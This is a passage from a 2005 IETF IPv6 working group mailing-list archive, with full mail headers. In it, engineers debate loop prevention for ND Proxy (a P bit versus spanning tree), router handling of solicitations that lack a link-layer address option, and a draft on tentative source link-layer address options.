17:28:52 -0500 Received: from mailout1.microsoft.com ([157.54.1.117]) by mail1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Fri, 18 Feb 2005 14:05:52 -0800 Received: from red-hub-03.redmond.corp.microsoft.com ([157.54.2.25]) by mailout1.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Fri, 18 Feb 2005 14:05:51 -0800 Received: from win-imc-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.0.39]) by red-hub-03.redmond.corp.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Fri, 18 Feb 2005 14:05:51 -0800 Received: from win-msg-01.wingroup.windeploy.ntdev.microsoft.com ([157.54.5.41]) by win-imc-01.wingroup.windeploy.ntdev.microsoft.com with Microsoft SMTPSVC(6.0.3790.1289); Fri, 18 Feb 2005 14:05:50 -0800 x-mimeole: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Fri, 18 Feb 2005 14:05:46 -0800 Message-ID: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Thread-Topic: [NDProxy#16] Loop prevention, revisited thread-index: AcUV+t1aj/tKjrBYQbuUs+3gmctVzgAB+32Q From: "Dave Thaler" To: "Erik Nordmark" X-OriginalArrivalTime: 18 Feb 2005 22:05:50.0520 (UTC) FILETIME=[01C48B80:01C51606] X-Spam-Score: 0.0 (/) X-Scan-Signature: 3002fc2e661cd7f114cb6bae92fe88f1 Content-Transfer-Encoding: quoted-printable Cc: Margaret Wasserman , ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 32b73d73e8047ed17386f9799119ce43 Content-Transfer-Encoding: quoted-printable > -----Original Message----- > From: Erik Nordmark [mailto:erik.nordmark@sun.com] > Sent: Friday, February 18, 2005 12:45 PM > To: Dave Thaler > Cc: Margaret Wasserman; ipv6@ietf.org > Subject: Re: [NDProxy#16] Loop prevention, revisited >=20 > Dave Thaler wrote: >=20 > > I agree this may be interesting, but it would be good to start a new > > thread, > > since it is for a very different scenario than a proxy, which has the > > constraint that it must be completely transparent to the router. >=20 > What I sketched would be completely transparent to the router. >=20 > It is merely a mechanism to prevent a large class of loops by ensuring > that a proxy can not be a child of another proxy. >=20 > Thus this can NOT happen: >=20 > Router > | > ------------------------ > | | > Proxy1 Proxy2 > | | > ---- Proxy3 -------- >=20 > Proxy3 will not enable its proxy capability because it receives RAs with > the P bit set. >=20 > While this CAN happen: >=20 > Router > | > ------------------------ > | | > Proxy1 Proxy2 > | | > ------------------- > | > Host > > But perhaps this can be prevented as well, by having the proxy disable > itself it it receives a RA (P bit or not?) on its downstream interface > (Could still have a temporary loop, unless we require that the proxy > send its P-bit RA on the downstream interface for a while before > enabling the proxying/flooding. Ok I understand what you mean now. Once you start trying to prevent all the corner cases, I suspect you end up with something closer to STP, in which case either you don't solve the corner cases and hope for the best, or you do the safe thing which is more complex. Of course if a device already has an STP implementation (because it supports L2 bridging, or because it already did it for an ARP Proxy in the 802.11 scenario), I don't think it would need to do anything else. (This is the case for Windows, btw, but would also apply to any hardware bridge that would want to add 802.11 support) That is, for such devices, using STP is actually the simplest thing, and any other approach is more complex. This was the primary reason for choosing STP. I don't mean to discourage fleshing out the P bit idea though, but I don't think it belongs in the existing ND proxy spec at this point. a) When the WG originally agreed that the draft should be Informational not PS it was because it was agreed there were multiple ways to do it and this draft just documents one way, which documents one type of proxy deployed today works, and that was the reason Brian Carpenter suggested the type change. b) If you have an ARP/ND Proxy that is deployed into an environment with no IPv6 router, STP works whereas the P bit proxy does not (although this is another one of those corner cases which is potentially solvable). Remember one of the listed requirements was "Also work in the absence of any routers." -Dave =20 > Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 19:00:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA27783 for ; Fri, 18 Feb 2005 19:00:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2IP6-0008Mo-CE for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 19:23:24 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2HPO-0006a7-Di; Fri, 18 Feb 2005 18:19:38 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2GhH-0001r0-1P for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 17:34:03 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA12629 for ; Fri, 18 Feb 2005 17:34:00 -0500 (EST) Received: from brmea-mail-4.sun.com ([192.18.98.36]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2H31-0003lS-94 for ipv6@ietf.org; Fri, 18 Feb 2005 17:56:31 -0500 Received: from jurassic.eng.sun.com ([129.146.81.36]) by brmea-mail-4.sun.com (8.12.10/8.12.9) with ESMTP id j1IMY1Kw013676; Fri, 18 Feb 2005 15:34:01 -0700 (MST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1IMY0W2314968; Fri, 18 Feb 2005 14:34:01 -0800 (PST) Message-ID: <42166D34.50608@sun.com> Date: Fri, 18 Feb 2005 14:33:24 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Dave Thaler References: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 69a74e02bbee44ab4f8eafdbcedd94a1 Content-Transfer-Encoding: 7bit Cc: Margaret Wasserman , ipv6@ietf.org Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 21c69d3cfc2dd19218717dbe1d974352 Content-Transfer-Encoding: 7bit Dave Thaler wrote: > > Ok I understand what you mean now. Once you start trying to prevent all > the corner cases, I suspect you end up with something closer to STP, in > which case either you don't solve the corner cases and hope for the > best, or you do the safe thing which is more complex. Not so, because STP is trying to work in an arbitrary toplogy, and ndproxy can just turn itself off it the topology is something different than the one it can handle. > I don't mean to discourage fleshing out the P bit idea though, but I > don't think it belongs in the existing ND proxy spec at this point. FWIW I disagree. The WG charter item was to solve something rather specific in the case when a /64 prefix is provided by the upstream, and not try to provide a "proxy on steroids". My take is that "proxy on steroids" is not in the IPv6 WG charter. > a) When the WG originally agreed that the draft should be Informational > not PS it was because it was agreed there were multiple ways to do it > and this draft just documents one way, which documents one type of > proxy deployed today works, and that was the reason Brian Carpenter > suggested the type change. > b) If you have an ARP/ND Proxy that is deployed into an environment > with no IPv6 router, STP works whereas the P bit proxy does not > (although > this is another one of those corner cases which is potentially > solvable). > Remember one of the listed requirements was "Also work in the absence > of > any routers." Which of the scenarios in the document doesn't have a router? Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 19:06:55 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id SAA19303 for ; Fri, 18 Feb 2005 18:17:10 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Him-0005aY-B9 for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 18:39:41 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Gdv-0008CG-SW; Fri, 18 Feb 2005 17:30:35 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2FAe-0005o3-OK for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 15:56:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA11736 for ; Fri, 18 Feb 2005 15:56:14 -0500 (EST) Received: from netcore.fi ([193.94.160.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2FWM-00022h-Ek for ipv6@ietf.org; Fri, 18 Feb 2005 16:18:44 -0500 Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id j1IKtPv03437; Fri, 18 Feb 2005 22:55:25 +0200 Date: Fri, 18 Feb 2005 22:55:25 +0200 (EET) From: Pekka Savola To: Erik Nordmark In-Reply-To: <42165527.2080100@sun.com> Message-ID: References: <2E33960095B58E40A4D3345AB9F65EC110317BE6@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> <42165527.2080100@sun.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Cc: Margaret Wasserman , ipv6@ietf.org, Dave Thaler Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 93238566e09e6e262849b4f805833007 On Fri, 18 Feb 2005, Erik Nordmark wrote: >> With this, the ISP could prevent the user from running ND proxy, so >> implementations will likely have a knob which would ignore this bit, but >> still.. > > Since such an ISP would violate the "assign a /48 by default" recommendation, > it might as well go all the way and only assign a /128 to the subscriber. > So why would the ISP use the more cumbersome approach of 1) assiging a /64, > and 2) lying by setting the P-bit in its RA? Because if such an ISP used RAs for address assignment, it couldn't restrict to /128. (Well, maybe such ISP's would require stateful DHCPv6 assignment..) -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 19:53:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA03017 for ; Fri, 18 Feb 2005 19:53:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2JEL-0001ks-Bs for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 20:16:21 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2Ief-0002GL-6v; Fri, 18 Feb 2005 19:39:29 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2ITL-0004Pa-Q4 for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 19:27:48 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00748 for ; Fri, 18 Feb 2005 19:27:45 -0500 (EST) Received: from darkstar.iprg.nokia.com ([205.226.5.69]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Ip7-0000tO-1B for ipv6@ietf.org; Fri, 18 Feb 2005 19:50:17 -0500 Received: (from root@localhost) by darkstar.iprg.nokia.com (8.11.0/8.11.0-DARKSTAR) id j1J0vBf15877; Fri, 18 Feb 2005 16:57:11 -0800 X-mProtect: <200502190057> Nokia Silicon Valley Messaging Protection Received: from danira-pool05070.americas.nokia.com (10.241.50.70, claiming to be "l5131412.nokia.com") by darkstar.iprg.nokia.com smtpdjpB7Fa; Fri, 18 Feb 2005 16:57:00 PST Message-Id: <6.2.1.2.2.20050218161226.029f1218@mailhost.iprg.nokia.com> X-Mailer: QUALCOMM Windows Eudora Version 6.2.1.2 Date: Fri, 18 Feb 2005 16:26:35 -0800 To: Dave Thaler From: Bob Hinden In-Reply-To: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingro up.windeploy.ntdev.microsoft.com> References: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Scan-Signature: cf4fa59384e76e63313391b70cd0dd25 Cc: Margaret Wasserman , Erik Nordmark , ipv6@ietf.org Subject: RE: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 798b2e660f1819ae38035ac1d8d5e3ab Hi, I like Erik's suggestion as a simple default mechanism to deal with the looping case. It's not perfect, but would provide a default mechanism that would prevent people from hurting themselves. It does support the scenario I am interested in (/64 advertised from upstream, router/proxy, single subnet downstream with a few devices). It's easy to turn off for people who know more about their topology or perhaps the case Pekka describes. I think people are going to build things like this independent of what the IETF does and publishing this (with the changes being discussed) seems like a reasonable thing thing for the community. It will help people avoid many of the mistakes that have been discussed. Bob (with no hats on) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 21:36:35 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13869 for ; Fri, 18 Feb 2005 21:36:35 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Kpm-0005NY-D8 for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 21:59:07 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2KQM-0003v4-Uo; Fri, 18 Feb 2005 21:32:50 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2KD6-0004sU-Bm for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 21:19:08 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA12079 for ; Fri, 18 Feb 2005 21:19:06 -0500 (EST) Received: from alpha1.its.monash.edu.au ([130.194.1.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2KYr-0004p4-6W for ipv6@ietf.org; Fri, 18 Feb 2005 21:41:39 -0500 Received: from localhost ([130.194.13.87]) by vaxc.its.monash.edu.au (PMDF V6.1 #39306) with ESMTP id <01LKZNHMCU7U8WYPBH@vaxc.its.monash.edu.au> for ipv6@ietf.org; Sat, 19 Feb 2005 13:19:01 +1100 Received: from curly.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id B292AAB542; Sat, 19 Feb 2005 13:19:00 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by curly.its.monash.edu.au (Postfix) with ESMTP id 9126B4FB02; Sat, 19 Feb 2005 13:19:00 +1100 (EST) Date: Sat, 19 Feb 2005 13:19:00 +1100 From: Greg Daley In-reply-to: To: "Soliman, Hesham" Message-id: <4216A214.4090604@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; charset=us-ascii; format=flowed Content-transfer-encoding: 7BIT X-Accept-Language: en, en-us User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 References: X-Spam-Score: 0.0 (/) X-Scan-Signature: 4adaf050708fb13be3316a9eee889caa Content-Transfer-Encoding: 7BIT Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: Re: RFC 2461[bis]: RS with srcaddr but w/o SLLAO X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 4d87d2aa806f79fed918a62e834505ca Content-Transfer-Encoding: 7BIT Hi Hesham, Soliman, Hesham wrote: > Christian, > > Thanks for the detailed description. I think Nick brought this up > some time ago too. > > My suggestion is that upon reception of an RS with no SLLAO the > router checks if an entry already exists, if none exists then it > creates one and puts it in STALE. If an entry already exists with > a LLA then it responds with a (two options): Putting things in STALE doesn't work unless there's a link-layer address known ( and there's none in the received RS). > - unicast RA unless a multicast RA was > already scheduled. > > - A multicast RA. > > I think the second option might be better to allow for ODAD to > work. > > Thoughts? This was discussed recently on DNA list since there's an idea to use TSLLAOs (Tentative source link-layer address options) in RSs without SLLAOs when a node is optimistic. I believe that Erik indicated multicast was the logical way to go. I guess that's the way most implementations have gone. We already have at least one implementation (RADVD on linux) which will send a unicast RA without needing an existing neighbour entry (and works without SLLAO in RS). It first does neighbour resolution before delivering the unicast RA. Where the NS is sent, the recipient has to respond with an NA before the RA is sent, so there's no real potential for multiplicative attacks (except for NS retries when a node isn't present). Bandwidth utilization and packet loss probability are higher though. Greg -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 21:59:23 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15540 for ; Fri, 18 Feb 2005 21:59:23 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2LBq-0005wf-NV for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 22:21:55 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2KnW-0006Ro-E8; Fri, 18 Feb 2005 21:56:46 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2KbH-0000ig-Mh for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 21:44:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA14448 for ; Fri, 18 Feb 2005 21:44:06 -0500 (EST) Received: from alpha8.its.monash.edu.au ([130.194.1.8]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2Kx2-0005Zw-Ih for ipv6@ietf.org; Fri, 18 Feb 2005 22:06:38 -0500 Received: from localhost ([130.194.13.82]) by vaxh.its.monash.edu.au (PMDF V5.2-31 #39306) with ESMTP id <01LKZODJAKFC8WW95I@vaxh.its.monash.edu.au> for ipv6@ietf.org; Sat, 19 Feb 2005 13:43:58 +1100 Received: from larry.its.monash.edu.au (localhost.localdomain [127.0.0.1]) by localhost (Postfix) with ESMTP id 8050180003; Sat, 19 Feb 2005 13:43:57 +1100 (EST) Received: from [130.194.252.110] (knuth.eng.monash.edu.au [130.194.252.110]) by larry.its.monash.edu.au (Postfix) with ESMTP id 62A013C009; Sat, 19 Feb 2005 13:43:57 +1100 (EST) Date: Sat, 19 Feb 2005 13:43:56 +1100 From: Greg Daley To: ipv6@ietf.org Message-id: <4216A7EC.1070407@eng.monash.edu.au> Organization: Monash University MIME-version: 1.0 Content-type: text/plain; format=flowed; charset=us-ascii Content-transfer-encoding: 7BIT User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.3) Gecko/20040922 X-Accept-Language: en, en-us X-Spam-Score: 0.0 (/) X-Scan-Signature: 769a46790fb42fbb0b0cc700c82f7081 Content-Transfer-Encoding: 7BIT Cc: Soliman Hesham Subject: [Fwd: I-D ACTION:draft-daley-ipv6-tsllao-01.txt] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: greg.daley@eng.monash.edu.au List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7aafa0432175920a4b3e118e16c5cb64 Content-Transfer-Encoding: 7BIT Hi, An update of the tentative source link-layer address options draft is available. The DNA design team is considering this as one of the possible components of a DNA solution, but its applicability is slightly wider. Perhaps it can contribute to some of the issues discussion on RFC2461bis. Greg -------- Original Message -------- Date: Wed, 16 Feb 2005 10:19:59 -0500 From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-daley-ipv6-tsllao-01.txt Sender: i-d-announce-bounces@ietf.org To: i-d-announce@ietf.org A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : Tentative Source Link-Layer Address Options for IPv6 Neighbour Discovery Author(s) : G. Daley, et al. Filename : draft-daley-ipv6-tsllao-01.txt Pages : 14 Date : 2005-2-15 The proposed IPv6 Duplicate Address Detection (DAD) Optimization 'Optimistic DAD' defines a set of recoverable procedures which allow a node to make use of an address before DAD completes. Essentially, Optimistic DAD forbids usage of certain Neighbour Discovery options which could pollute active neighbour cache entries, while an address is tentative. This document defines a new option and procedures to replace cache polluting options, in a way which is useful to tentative nodes. These procedures are designed to be to backward compatible with existing devices which support IPv6 Neighbour Discovery. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-daley-ipv6-tsllao-01.txt ... -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 22:23:15 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17261 for ; Fri, 18 Feb 2005 22:23:15 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2LYx-0006Xv-SE for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 22:45:48 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2L4y-00082m-Uv; Fri, 18 Feb 2005 22:14:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2KqU-0000p9-9T for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 21:59:50 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA15600 for ; Fri, 18 Feb 2005 21:59:48 -0500 (EST) Received: from nwkea-mail-1.sun.com ([192.18.42.13]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2LCD-0005xN-Ts for ipv6@ietf.org; Fri, 18 Feb 2005 22:22:21 -0500 Received: from jurassic.eng.sun.com ([129.146.82.166]) by nwkea-mail-1.sun.com (8.12.10/8.12.9) with ESMTP id j1J2xjZO017985; Fri, 18 Feb 2005 18:59:45 -0800 (PST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j1J2xiii395122; Fri, 18 Feb 2005 18:59:44 -0800 (PST) Message-ID: <4216AB7C.4040109@sun.com> Date: Fri, 18 Feb 2005 18:59:08 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Bob Hinden References: <2E33960095B58E40A4D3345AB9F65EC11037F7D0@win-msg-01.wingroup.windeploy.ntdev.microsoft.com> <6.2.1.2.2.20050218161226.029f1218@mailhost.iprg.nokia.com> In-Reply-To: <6.2.1.2.2.20050218161226.029f1218@mailhost.iprg.nokia.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 7655788c23eb79e336f5f8ba8bce7906 Content-Transfer-Encoding: 7bit Cc: Margaret Wasserman , ipv6@ietf.org, Dave Thaler Subject: Re: [NDProxy#16] Loop prevention, revisited X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 9466e0365fc95844abaf7c3f15a05c7d Content-Transfer-Encoding: 7bit Bob Hinden wrote: > Hi, > > I like Erik's suggestion as a simple default mechanism to deal with the > looping case. It's not perfect, but would provide a default mechanism > that would prevent people from hurting themselves. It does support the > scenario I am interested in (/64 advertised from upstream, router/proxy, > single subnet downstream with a few devices). It's easy to turn off for > people who know more about their topology or perhaps the case Pekka > describes. FWIW it also support a single proxy having multiple downstream interfaces. I don't know if that is an interesting case when multiple L2 technologies are being used. > I think people are going to build things like this independent of what > the IETF does and publishing this (with the changes being discussed) > seems like a reasonable thing thing for the community. It will help > people avoid many of the mistakes that have been discussed. Yep. Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Fri Feb 18 22:39:03 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA18627 for ; Fri, 18 Feb 2005 22:39:03 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2LoG-0006yn-97 for ipv6-web-archive@ietf.org; Fri, 18 Feb 2005 23:01:36 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2LGE-0005Wx-3a; Fri, 18 Feb 2005 22:26:26 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D2LBr-0002I1-52 for ipv6@megatron.ietf.org; Fri, 18 Feb 2005 22:21:55 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA17109 for ; Fri, 18 Feb 2005 22:21:53 -0500 (EST) Received: from [63.103.94.23] (helo=ftmailgfi1.flariontech.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D2LXe-0006Tz-36 for ipv6@ietf.org; Fri, 18 Feb 2005 22:44:26 -0500 Received: from ftmailserver.flariontech.com ([10.10.1.140]) by ftmailgfi1.flariontech.com with Microsoft SMTPSVC(5.0.2195.6713); Fri, 18 Feb 2005 22:21:15 -0500 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1478 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Fri, 18 Feb 2005 22:21:15 -0500 Message-ID: Thread-Topic: RFC 2461[bis]: RS with srcaddr but w/o SLLAO Thread-Index: AcUWKWM3+q1e2ho+Rbeku5wEdUXspAACGjZA From: "Soliman, Hesham" To: X-OriginalArrivalTime: 19 Feb 2005 03:21:15.0804 (UTC) FILETIME=[121DB5C0:01C51632] X-Spam-Score: 0.0 (/) X-Scan-Signature: cd26b070c2577ac175cd3a6d878c6248 Content-Transfer-Encoding: quoted-printable Cc: Mark Doll , Roland Bless , ipv6@ietf.org Subject: RE: RFC 2461[bis]: RS with srcaddr but w/o SLLAO 